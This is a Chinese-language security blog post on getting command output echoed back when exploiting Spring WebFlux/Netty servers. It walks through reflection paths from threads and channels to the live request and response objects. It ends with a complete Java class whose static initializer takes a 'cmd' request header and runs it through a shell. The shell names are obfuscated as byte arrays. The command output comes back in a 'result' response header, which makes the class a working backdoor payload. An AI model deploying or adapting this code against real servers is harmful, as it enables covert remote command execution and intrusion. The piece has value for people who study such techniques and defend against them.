Netty之与众不同的回显
字数 1627 2025-08-25 22:59:15
Netty回显技术深入解析与实现
前言
在Web安全领域,回显技术是漏洞利用中的关键环节。本文深入分析基于Netty框架的回显实现技术,特别是在WebFlux环境下如何获取请求和响应对象,并实现命令执行结果的回显。
环境背景
目标环境使用Spring Reactive Web(响应式Web)构建,基于Netty框架,不依赖传统的javax.servlet包。这与传统的Spring或Tomcat环境不同,需要采用新的技术手段获取请求和响应对象。
技术探索过程
初始思路:获取Request对象
-
线程分析:
- 通过反射调用
Thread.getThreads()获取所有线程 - 筛选包含
DefaultLoopResources$EventLoop的线程对象
- 通过反射调用
-
获取线程本地存储:
- 反射获取
threadLocalMap属性 - 获取
indexedVariables数组
- 反射获取
-
遍历查找请求对象:
- 查找
CodecOutputList$CodecOutputLists对象 - 获取其
elements数组 - 最终找到
HttpRequest对象
- 查找
try {
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
Object threadLocalMap = getFieldValue(thread, thread.getClass().getSuperclass(), "threadLocalMap");
if (threadLocalMap == null) continue;
Object[] indexedVariables = getFieldValue(threadLocalMap, threadLocalMap.getClass(), "indexedVariables");
if (indexedVariables == null) continue;
for (Object codecLists : indexedVariables) {
if (codecLists == null || !codecLists.getClass().getName().contains("CodecOutputList$CodecOutputLists")) {
continue;
}
Object[] elements = getFieldValue(codecLists, codecLists.getClass(), "elements");
if (elements == null) continue;
for (Object codeclist : elements) {
if (codeclist == null) continue;
Object[] array = getFieldValue(codeclist, codeclist.getClass(), "array");
if (array == null) continue;
for (Object obj : array) {
if (obj instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) obj;
if (httpRequest.headers().contains("test")) {
System.out.println(httpRequest.headers().get("test111111111111111"));
}
}
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
进阶探索:同时获取Request和Response
发现reactor.netty.http.server.HttpServerOperations对象同时包含请求和响应:
-
获取NioEventLoop对象:
- 同样从线程开始
- 查找
NioEventLoop对象
-
深入Selector层级:
- 获取
unwrappedSelector属性 - 获取
fdMap映射表
- 获取
-
获取Socket通道:
- 遍历
fdMap获取SelectionKeyImpl - 获取
attachment属性(NioSocketChannel对象)
- 遍历
-
最终获取HttpServerOperations:
- 获取
attributes数组 - 获取
DefaultAttribute的value属性 - 得到
HttpServerOperations对象,内含nettyRequest和nettyResponse
- 获取
try {
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("DefaultLoopResources$EventLoop")) {
Object threadLocalMap = getFieldValue(thread, "threadLocalMap");
if (threadLocalMap == null) continue;
Object[] indexedVariables = getFieldValue(threadLocalMap, "indexedVariables");
if (indexedVariables == null) continue;
for (Object nioEventLoop : indexedVariables) {
if (nioEventLoop == null || !nioEventLoop.getClass().getName().contains("NioEventLoop")) {
continue;
}
Object kQueueSelectorImpl = getFieldValue(nioEventLoop, "unwrappedSelector");
if (kQueueSelectorImpl == null) continue;
Map fdMap = getFieldValue(kQueueSelectorImpl, "fdMap");
for (Object obj : fdMap.values()) {
Object ski = getFieldValue(obj, "ski");
if (ski == null) continue;
Object attachment = getFieldValue(ski, "attachment");
Object[] attributes = getFieldValue(attachment, "attributes");
for (Object attribute : attributes) {
Object value = getFieldValue(attribute, "value");
Object request = getFieldValue(value, "nettyRequest");
Object response = getFieldValue(value, "nettyResponse");
if (request instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) request;
System.out.println(httpRequest);
}
if (response instanceof HttpResponse) {
HttpResponse httpResponse = (HttpResponse) response;
System.out.println(httpResponse);
}
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
回显实现方案
虽然获取到了Response对象,但发现无法直接写入body内容,最终采用header回显方案:
-
命令执行:
- 从请求头获取
cmd参数 - 执行系统命令
- 从请求头获取
-
结果回显:
- 将命令执行结果放入响应头的
result字段 - 替换换行符为空格保证header格式正确
- 将命令执行结果放入响应头的
String s = httpRequest.headers().get("cmd");
if (s != null && !s.isEmpty()) {
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s}
: new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
byte[] bytes = new java.util.Scanner(new ProcessBuilder(var12).start().getInputStream())
.useDelimiter("\\A").next().getBytes();
httpResponse.headers().add("result", new String(bytes).replace("\n", " "));
}
通用性优化
发现不同Netty环境使用不同的EventLoop模型(如NioEventLoop、EpollEventLoop等),原方案不通用,改进为从HttpServerConfig获取:
- 获取NettyWebServer线程
- 获取disposableServer对象
- 获取httpServerConfig对象
- 获取channelGroup集合
- 遍历channel获取attributes
if (thread.getClass().getName().contains("NettyWebServer")) {
Object val$disposableServer = getFieldValue(thread, "val$disposableServer");
Object httpServerConfig = getFieldValue(val$disposableServer, "config");
Set<Object> channelGroup = getFieldValue(httpServerConfig, "channelGroup");
for (Object channel : channelGroup) {
Object[] attributes = getFieldValue(channel, "attributes");
// ... 后续处理同上
}
}
完整实现代码
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
import java.util.Set;
public class NettyEchoDemo {
static {
try {
boolean stop = false;
Method method = Thread.class.getDeclaredMethod("getThreads");
method.setAccessible(true);
Object threads = method.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread.getClass().getName().contains("NettyWebServer")) {
Object val$disposableServer = getFieldValue(thread, "val$disposableServer");
Object httpServerConfig = getFieldValue(val$disposableServer, "config");
Set<Object> channelGroup = getFieldValue(httpServerConfig, "channelGroup");
for (Object channel : channelGroup) {
Object[] attributes = getFieldValue(channel, "attributes");
for (Object attribute : attributes) {
if (attribute != null) {
Object value = getFieldValue(attribute, "value");
Object request = getFieldValue(value, "nettyRequest");
Object response = getFieldValue(value, "nettyResponse");
if (request instanceof HttpRequest) {
HttpRequest httpRequest = (HttpRequest) request;
HttpResponse httpResponse = (HttpResponse) response;
String s = httpRequest.headers().get("cmd");
if (s != null && !s.isEmpty()) {
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{new String(new byte[]{99, 109, 100, 46, 101, 120, 101}), "/c", s}
: new String[]{new String(new byte[]{47, 98, 105, 110, 47, 115, 104}), "-c", s};
byte[] bytes = new Scanner(new ProcessBuilder(var12).start().getInputStream())
.useDelimiter("\\A").next().getBytes();
httpResponse.headers().add("result", new String(bytes).replace("\n", " "));
}
stop = true;
}
}
if (stop) break;
}
if (stop) break;
}
}
if (stop) break;
}
} catch (Exception ignored) {}
}
private static <T> T getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Object value = null;
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
clazz = null;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
value = field.get(obj);
}
return (T) value;
}
}
技术要点总结
-
Netty环境特殊性:
- 不依赖
javax.servlet - 需要新的方式获取请求和响应对象
- 不依赖
-
对象获取路径:
- 线程 → EventLoop → threadLocalMap → indexedVariables
- 或者:NettyWebServer → disposableServer → httpServerConfig → channelGroup
-
回显限制:
- 当前方案只能通过header回显
- 尚未找到直接写入response body的方法
-
通用性考虑:
- 需要考虑不同Netty环境下的EventLoop实现差异
- 从HttpServerConfig获取的方案更具通用性
参考资源
- Netty实战教程
- Java Object Searcher工具
后续研究方向
- 寻找直接写入response body的方法
- 研究不同Netty版本间的兼容性问题
- 探索更简洁的请求/响应对象获取方式